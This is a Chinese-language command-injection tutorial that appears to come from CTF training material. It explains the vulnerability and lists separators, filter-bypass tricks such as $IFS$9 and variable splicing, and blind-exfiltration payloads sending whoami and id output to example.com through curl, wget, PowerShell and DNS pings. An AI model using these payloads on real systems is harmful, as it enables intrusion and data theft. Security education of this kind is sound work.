1. 原理
在各类编程语言中,为了方便程序处理,通常会存在各种执行外部程序的函数,当调用函数执行命令且未对输入做过滤时,通过注入恶意命令,会造成巨大的危害。如 PHP 中的 system() 函数。
2. 介绍
2.1 远程系统命令执行
一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口,比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上,一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 而,如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。
2.2 远程代码执行
同样的道理,因为需求设计,后台有时候也会把用户的输入作为代码的一部分进行执行,也就造成了远程代码执行漏洞。 不管是使用了代码执行的函数,还是使用了不安全的反序列化等等。
因此,如果需要给前端用户提供操作类的API接口,一定需要对接口输入的内容进行严格的判断,比如实施严格的白名单策略会是一个比较好的方法。
3. 命令执行基础
3.1 转义字符
Windows:^
Linux: \
3.2 多条命令执行
Windows | Linux |
---|---|
&& | && |
|| | || |
%0a | ; |
$() | |
`` | |
%0a | |
%0d |
3.3 注释符号
Windows: ::
Linux: #
4. 绕过
4.1 空格
-
利用Burp Suite对 %00-%ff 区间的字符串进行测试
-
Windows下
%ProgramFiles:~10,1%
~相当于截取符,表示获取环境变量 %ProgramFile% 的值,一般为C:\Program Files
。所以,以上命令表示,从第10个开始且获取一个字符串,也就是空格。 -
Linux
-
$IFS$9
Linux存在IFS(Internal Field Separator)环境变量,即内容字段分隔符,定义了bash shell的命令间隔字符,一般为空格。注意,只注入$IFS不够,还需要间隔符来避免,通常使用$9。$9表示为当前系统Shell进程的第9个参数,通常是一个空字符串。 -
{cmd,args}
bash有效,zsh、dash无效 -
cat<>flag
读取文件时
4.2 黑名单关键字
- 利用变量拼接
Linux: a=c;b=at;c=he;d=llo; a a ab c {c} c{d} - 使用通配符
- ?代表任意一个字符串
- * 代表任意个字符串
- 借用已有字符串
若是禁用<>?等字符串,则可以借用其他文件中的字符串,利用substr()函数截取出某个具体字符。
4.3 执行无回显
4.3.1 HTTP通道
- Windows
for /F %x in ('echo hello') do start http://example.com/httplog/%x
缺陷时调用浏览器后并不会关闭,并且遇到特殊字符、空格时会存在截断问题,所以可以借用powershell进行外带数据。
在Powershell 2.0 下,执行如下命令:
for /F %x in ('echo hello') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x')); $b = New-Object System.Net.webClient;$b.DownloadingString('http://example.com/httplog/'+$a);
- Linux
在Linux下,由于存在管道等,因此极其方便数据的传输,通常利用curl、wget等程序进行外带数据。
curl example.com/`whoami`
wget example.com/$(id|base64)
4.3.2 DNS通道
通常会以ping来测试DNS外带数据,ping的参数在Windows和Linux下有些不同。如限制ping的个数,在Windows下是 -n ,而在Linux下是 -c 。为了兼容性处理,可以联合使用,即 ping –nc 1 test.example.com
- Linux
ping -c 1 `whoami`.example.com
- Windows
获取计算机名:
for /F “delims=\” %i in (‘whoami’) do ping -n 1 %i.xxx.example.com
获取用户名:
for /F “delims=\ tokens=2” %i in (‘whoami’) do ping -n 1 %i.xxx.example.com
4.3.3 时间盲注
-
Linux
sleep函数 -
Windows
选择一些耗时命令,如ping -n 5 127.0.0.1
4.3.4 写入文件,二次返回
有时会遇上网络隔离的情况,time型读数据将会极其缓慢,可以考虑将执行命令结果写入到Web目录下,再次通过Web访问文件从而达到回显目的。如,>
重定向。
References:
《从0到1 CTFer成长之路》
《CTF特训营》